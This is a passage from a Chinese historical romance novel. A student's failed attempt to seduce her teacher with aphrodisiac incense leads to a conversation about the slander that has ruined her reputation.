像鱼儿咬紧了饵。 她的长线,钓住了他的脖颈。 只待她将长线收紧些,再收紧些。 绕住他绵长的呼吸。 少女身上传来异香,先前清幽的香气,此刻愈发浓烈,夜幕一烧,花草混杂的味道竟也变得几许炽热。 她身形愈近了些,像一棵风雨之下将倾未倾的小树,微微倾斜着。 “已经不疼了。” “我知晓,老师责罚的对,是学生之错。 “阿谣只是……” 轻柔的衣袖为夜风拂了一拂,便要缠上那一棵清丽的兰草。 她垂眸,不经意露出难过的神色。 应琢的眸色动了动。 “明谣。” 耳畔落下一声轻唤。 那声音,并没有预想之中的混沌不堪。少女愣了愣,抬眸对上男人清明的一双眼。 他的眼睛很好看,凤眸入鬓,此刻那眼睫微微耷拉着,却遮挡不住那清平似水的眸光。 半晌,她才自微怔中回神,恨恨咬牙。 什么? 亏她花了好些银子才买得的媚香,居然…… 对应琢无用?! 她心怀震惊与敬重,望向身前之人。 不对。 禁书里明明不是这样写的啊。 这媚香,她一个女人闻了都晕乎,此刻都开始脸热目眩。应琢他……怎么忍得住! 对方非但神色清明,还将她所誊抄的禁书自桌上抽出。纷纷沓沓的纸,眼看下一刻便要被卷入火舌之中。 明靥忙不迭阻拦:“老师——” 她心虚地看着应琢,吞咽了一下口水。 “这次……可不可以不烧……” 应琢垂眸,扫了一眼那一沓纸。 明靥声音弱弱:“……也不要撕。” 纸上污言秽语密布,应琢仅瞟了瞟——酥软的玉腰,雪白的双峰…… 他立马移开视线。 明靥看了眼那些纸张,只觉得整个耳背都烧得通红。而身前之人显然也没比她好在哪去,应琢虽将那一沓纸攥得极紧,但一贯清平如许的面上,亦挂着些不自然的淡绯色。 他虽质问,声音却并不似赵夫子那般格外严厉。 “那你说,你留着这些东西做什么?” “你……当真是兴趣使然么?” 男人眼神复杂。 那道清冷而严肃的目光,便如此落在明靥身上。 她感觉此刻不光是身上、面上、耳后,便是连头皮也开始发烫。 明靥顿了许久,终于—— “其实……我是抄给我妹妹看的。” 应琢:“妹妹?” 她硬着头皮:“对啊,我那个妹妹不学无术,色胆包天,平日里就、就爱看这些东西。” 对方表情终于缓和了些。 他想了想,道:“明……明靥,是吗?” 第一次自应琢口中听见自己的名字,一时间,明靥心中五味杂陈。 “我也看过她的窗课,”应琢沉吟了一下,还是以一种不伤人的方式,认真评价,“她的字迹很工整,进步空间也很大。” “是么?” 应琢点了点头。 他肯定道:“你这般聪明,你的妹妹定也是个聪慧的姑娘。” 夜风轻拂着,窗外有树叶飘落。 “老师,您难道没有在京中听过她的名声吗?” ——不淑不孝,懒惰善妒,行为放浪,不成体统。 根本不是个好姑娘。 这些都是郑婌君与明谣,背着父亲所做的手笔。 仿若将她踩入谷底,才能更好地陪衬出明谣。 她一双眼,直勾勾盯着身前之人。 夜风渐落,窗外月色寒了一寒。清光徐徐,打着身前男子的侧影。他垂眸,目色清平,声音亦是平静,说出了一句令明靥震愕的话: “三人成虎,众口铄金。外界如何道,也不过是些虚言。相较于虚言之中的所谓的你的妹妹,更令人不齿的是那些背后非议之人。轻飘飘的三言两语,便诋毁了一个姑娘家的清节。你的妹妹究竟品性如何,也只有亲近些的人知晓。明谣,你觉得,她是那样的人吗?” 应琢望向她。 明靥顿了顿。 她听见自己的声音:“她不是。” 未出阁的姑娘藏于深闺,与外界交涉也不过是在学堂之内。身处学堂,她一贯谨慎本分,从未犯过什么大错。既如此,那些虚言又是如何传出去,又是从何传出去的? 月色明照,高悬于天。 应琢目色清清,稍稍拂袖。 “明谣。” “嗯?” “代我向你的妹妹问好。” 又一缕晚风吹破了屏窗,窗棂镂空的雕花被月光倾洒着,镀上了一层银白色的光芒。 对方收了纸笔,便要往外走。 鼻尖飘过一阵兰香,明靥忽然开口,唤住他。 “应琢。” “怎么了?” 他转身,侧首。 月色之下,他的侧脸分外好看温柔。 “没,没什么,”她低下头,“就是觉得,老师,您真好。” 就如同传闻中所讲述的那一般,你很好,应公子,你是一个极好极好的人。 只是可惜啊—— 应公子,我一点也不好。